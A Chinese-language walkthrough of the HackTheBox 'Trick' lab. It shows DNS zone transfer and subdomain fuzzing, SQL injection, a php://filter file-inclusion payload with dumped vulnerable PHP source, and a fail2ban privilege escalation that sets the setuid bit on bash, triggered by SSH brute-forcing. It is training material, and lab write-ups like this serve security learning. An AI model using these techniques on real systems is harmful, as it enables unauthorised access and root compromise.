HackTheBox-Trick

nmap扫描结果


  1. smtp可交互

SMTP 协议 25 端口渗透测试记录

试了一下,好像没有得到有价值的信息

  1. wfuzz

./wfuzz -c -w /home/xxx/SecTools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.166 -H "Host: FUZZ.trick.htb" --hh 185

全都是200…

  1. DNS域传送

53端口处于开放状态,且存在服务

dig @10.10.11.166 -t axfr trick.htb

得到一个域名preprod-payroll.trick.htb

存在注入点

万能密码进入后台

后台看了一圈,没找到上传点,继续利用注入

得到users表中的数据

[*] , , 0, 1, Administrator, SuperGucciRainbowCake, 1, Enemigosss

SuperGucciRainbowCake作为ssh密码失败


重新分析网站,发现该网站切换页面的方式为index.php?page=xx,推测其切换方式为include($page.".php");

传入index.php?page=php://filter/convert.base64-encode/resource=index成功读取到index.php的源代码

index.php

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...
<?php
session_start();
if(!isset($_SESSION['login_id']))
header('location:login.php');
include('./header.php');
// include('./auth.php');
?>
...

login.php

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...
<?php include('./header.php'); ?>
<?php include('./db_connect.php'); ?>
<?php
session_start();
if(isset($_SESSION['login_id']))
header("location:index.php?page=home");

?>
...
<script>
$('#login-form').submit(function(e){
e.preventDefault()
$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
if($(this).find('.alert-danger').length > 0 )
$(this).find('.alert-danger').remove();
$.ajax({
url:'ajax.php?action=login',
method:'POST',
data:$(this).serialize(),
error:err=>{
console.log(err)
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');

},
success:function(resp){
if(resp == 1){
location.href ='index.php?page=home';
}else if(resp == 2){
location.href ='voting.php';
}else{
$('#login-form').prepend('<div class="alert alert-danger">Username or password is incorrect.</div>')
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
}
}
})
})
</script>

ajax.php

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<?php
ob_start();
$action = $_GET['action'];
include 'admin_class.php';
$crud = new Action();

if($action == 'login'){
$login = $crud->login();
if($login)
echo $login;
}
if($action == 'login2'){
$login = $crud->login2();
if($login)
echo $login;
}
if($action == 'logout'){
$logout = $crud->logout();
if($logout)
echo $logout;
}
if($action == 'logout2'){
$logout = $crud->logout2();
if($logout)
echo $logout;
}
if($action == 'save_user'){
$save = $crud->save_user();
if($save)
echo $save;
}
if($action == 'delete_user'){
$save = $crud->delete_user();
if($save)
echo $save;
}
if($action == 'signup'){
$save = $crud->signup();
if($save)
echo $save;
}
if($action == "save_settings"){
$save = $crud->save_settings();
if($save)
echo $save;
}
...
if($action == "save_position"){
$save = $crud->save_position();
if($save)
echo $save;
}
...

admin_class.php

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<?php
session_start();
ini_set('display_errors', 1);
Class Action {
private $db;

public function __construct() {
ob_start();
include 'db_connect.php';

$this->db = $conn;
}
function __destruct() {
$this->db->close();
ob_end_flush();
}

function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}else{
return 3;
}
}
function login2(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$email."' and password = '".md5($password)."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}else{
return 3;
}
}
function logout(){
session_destroy();
foreach ($_SESSION as $key => $value) {
unset($_SESSION[$key]);
}
header("location:login.php");
}
function logout2(){
session_destroy();
foreach ($_SESSION as $key => $value) {
unset($_SESSION[$key]);
}
header("location:../index.php");
}

function save_user(){
...
}
function signup(){
...
}

function save_settings(){//文件上传
extract($_POST);
$data = " name = '".str_replace("'","&#x2019;",$name)."' ";
$data .= ", email = '$email' ";
$data .= ", contact = '$contact' ";
$data .= ", about_content = '".htmlentities(str_replace("'","&#x2019;",$about))."' ";
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/img/'. $fname);
$data .= ", cover_img = '$fname' ";

}

// echo "INSERT INTO system_settings set ".$data;
$chk = $this->db->query("SELECT * FROM system_settings");
if($chk->num_rows > 0){
$save = $this->db->query("UPDATE system_settings set ".$data);
}else{
$save = $this->db->query("INSERT INTO system_settings set ".$data);
}
if($save){
$query = $this->db->query("SELECT * FROM system_settings limit 1")->fetch_array();
foreach ($query as $key => $value) {
if(!is_numeric($key))
$_SESSION['setting_'.$key] = $value;
}

return 1;
}
}


function save_employee(){
...
}
function delete_employee(){
...
}

function save_department(){
...
}
function delete_department(){
...
}
function save_position(){
extract($_POST);
$data =" name='$name' ";
$data .=", department_id = '$department_id' ";


if(empty($id)){
$save = $this->db->query("INSERT INTO position set ".$data);
}else{
$save = $this->db->query("UPDATE position set ".$data." where id=".$id);
}
if($save)
return 1;
}
function delete_position(){
...
}
function save_allowances(){
...
}
function delete_allowances(){
...
}
function save_employee_allowance(){
...
}
function delete_employee_allowance(){
...
}
function save_deductions(){
...
}
function delete_deductions(){
...
}
function save_employee_deduction(){
...
}
function delete_employee_deduction(){
...
}
function save_employee_attendance(){
...
}
function delete_employee_attendance(){
...
}
function delete_employee_attendance_single(){
...
}
function save_payroll(){
...
}
function delete_payroll(){
...
}
function calculate_payroll(){
...
}
}

db_connect.php

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<?php 

$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
  1. save_settings存在文件上传,上传方式可参考save_position

但是进行文件上传时,move_uploaded_file提示权限不足

  1. 得到数据库连接账号和密码remo,TrulyImpossiblePasswordLmao123

好像也不能用来ssh链接


爆破/var/www/xxx/index.php,字典使用SecLists/Discovery/DNS/subdomains-top1million-5000.txt

存在另一个网站路径market,结合/var/www/payroll/indexpreprod-payroll.trick.htb推测域名为preprod-market.trick.htb或者market.trick.htb,但是修改hosts后发现这两个域名与直接用ip访问没有区别

/var/www/market/index.php

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<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file));
}
?>

问题来了,同样都是使用page参数,假如用payroll/index.php去包含market/index.php会导致market/index.php使用相同的page参数,那就白给了…


breached.to看了一下老哥们的讨论,发现写进hosts中的域名是preprod-marketing.trick.htb(无语…

michael作为用户名测试了一下上面的密码链接ssh,发现还是不行

可以读取id_rsa


sudo -l显示可以用root身份执行/etc/init.d/fail2ban restart

参考文章

Privilege Escalation with fail2ban nopasswd

Privilege Escalation via fail2ban

find /etc/ -writable -ls

尝试直接修改iptables-multiport.conf,发现权限不足

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[email protected]:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptables-multiport.conf.bak
[email protected]:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak iptables-multiport.conf
[email protected]:/etc/fail2ban/action.d$ ls -alh iptables-multiport.conf
-rw-r--r-- 1 michael michael 1.4K Sep 1 05:11 iptables-multiport.conf

将封禁的action替换chmod u+s /usr/bin/bash

后台使用nmap -p 22 --script=ssh-brute --script-args userdb=2.txt,passdb=1.txt 10.10.11.166对ssh进行爆破

对于-p参数的解释

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      -p  Turned on whenever the real and effective user ids do not match.
Disables processing of the $ENV file and importing of shell
functions. Turning this option off causes the effective uid and
gid to be set to the real uid and gid.


当真实有效的用户 id 不匹配时打开。禁用 $ENV 文件的处理和 shell 函数的导入。 关闭此选项会使有效的 uid 和 gid 设置为真实的 uid 和 gid。